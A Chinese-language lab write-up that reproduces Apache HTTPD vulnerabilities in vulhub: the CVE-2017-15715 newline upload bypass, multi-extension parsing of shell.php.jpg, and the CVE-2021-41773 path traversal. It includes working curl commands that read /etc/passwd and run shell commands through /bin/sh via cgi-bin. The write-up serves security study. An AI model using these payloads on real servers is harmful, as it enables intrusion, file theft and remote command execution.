Apache漏洞复现
Apache HTTPD是一款HTTP
服务器,该服务器是现在市场上使用最多的服务器,今天对该中间件做一些漏洞复现
Apache 换行解析漏洞(CVE-2017-15715)
Apache通过mod_php来运行PHP网页
- 影响范围: 2.4.0~2.4.29
- 漏洞描述: 存在解析漏洞,在解析
.php
时,会将1.php\x0A
当做PHP文件执行,从而绕过一些安全策略
漏洞在vulhub
中,我使用kali
启动
启动后再kali主机的8080
端口运行
-
上传普通的
php
文件
上传失败
-
再次上传在
burpsuite
更改shell.php
后方加入\x0A
,然后上传
注意:在hex
页面中,找到php
后面一位加入\x0A
放包后页面没有任何回显,代表上传成功
-
访问并验证
shell.php
是否上传成功,注意需要再文件名后方加入%0a
,因为十六进制\x0a
在url编码中需要使用%
开头
实验完毕。
Apache 未知后缀名解析漏洞
Apache HTTPD支持文件名有多个后缀,例如shell.php.jpg
,解析流程如下:
- 解析
shell.php.jpg
文件,如果支持jpg
文件名后缀则解析该文件,不可以往前看前一个后缀名 - 若
shel.php.jpg
后缀名无法解析,尝试将文件解析前一个后缀名shell.php
文件
通过安装服务器的/conf/httpd.conf
配置文件中都会含有解析php文件
AddHandler application/x-httpd-php .php
那么利用这个特性可以理解为只要文件名中包含php
就可以将文件解析为PHP文件执行,这可以造成白名单的绕过,例如shell.php.xxx
一般服务器肯定不会设置有xxx
后缀名的解析,所以理所应当的把shell.php.xxx
当做PHP文件执行
- 启动
vulhub
环境
cd /vulhub/httpd/apache_parsing_vulnerability
sudo docker-compose up -d
访问80
端口查看
进入容器查看审计源码
<?php
if (!empty($_FILES)):
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) {
die('Unsupported filetype uploaded.');
}
$new_name = __DIR__ . '/uploadfiles/' . $_FILES['file_upload']['name'];
if(!move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name)){
die('Error uploading file - check destination is writeable.');
}
die('File uploaded successfully: ' . $new_name);
else:
?>
<form method="post" enctype="multipart/form-data">
File: <input type="file" name="file_upload">
<input type="submit">
</form>
<?php
endif;
通过pathinfo()方法获取文件上传路径,然后使用in_array
判断是否文件名是否含有['gif', 'png', 'jpg', 'jpeg']
,含有下方的后缀名就可以将文件上传
一般情况下Apache服务器都不会配置解析jpg
图片,所以接着解析php
后缀名
上传shell.php.jpg
访问
成功解析
注: 如果在自己搭建的phpstudy
手动搭建环境访问该文件会遇到服务器500
的错误,是因为Apache
虽然解析shell.php.jpg
文件是把php
后缀当做PHP文件执行,然后交给PHP,但是PHP只认为最后一个后缀名为php
才会当做PHP文件执行
通常php{version}.conf
配置文件中会有以下配置
<FilesMatch ".+\.ph(ar|p|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
通过正则匹配只有是phar、php、phtml
才可以被解析为php
,这里还是建议使用vulhub
复现漏洞
Apache 目录遍历漏洞
- 影响版本: 2.4.49-50
- 漏洞原理: 攻击者可以通过目录遍历漏洞访问预期之外的文件和目录
- 使用
vulhub
环境启动实验场景
cd /vulhub/httpd/CVE-2021-41773
sudo docker-compose up -d
验证靶机是否正常运行
- 漏洞验证
curl -v --path-as-is http://192.168.154.138:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
--path-as-is
- 如果不使用
--path-as-is
,访问地址test.com/../../etc/passwd
,curl请求的对象是test.com/etc/passwd
- 如果使用
--path-as-is
,访问test.com/../../etc/passwd
,curl请求的对象是test.com/../../etc/passwd
- 如果不使用
-v
:表示像是请求标头和响应标头%2e
表示url
编码,字符为.
另外如果apache
平台开启了cgi
,可以进行命令执行
cgi
就是可以让apache
解析其他语言的命令
curl -v --data "echo;id" 'http://192.168.154.138:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
-
--data
:表示使用POST
方式提交数据,也可以使用缩写-d
-
echo;id
: shell编程,表示echo命令输出id
的回显
-
/bin/sh
: 通过目录遍历请求/bin/sh
结合起来可以理解为apache
开启了cgi
,通过目录遍历调用/bin/sh
解释shell
脚本,脚本内容为echo;id
,执行完脚本将内容返回给http
页面
如果这里靶机安装的有python
,也可以执行python
代码
只需要在httpd.conf
加入以下内容
AddHandler cgi-script .py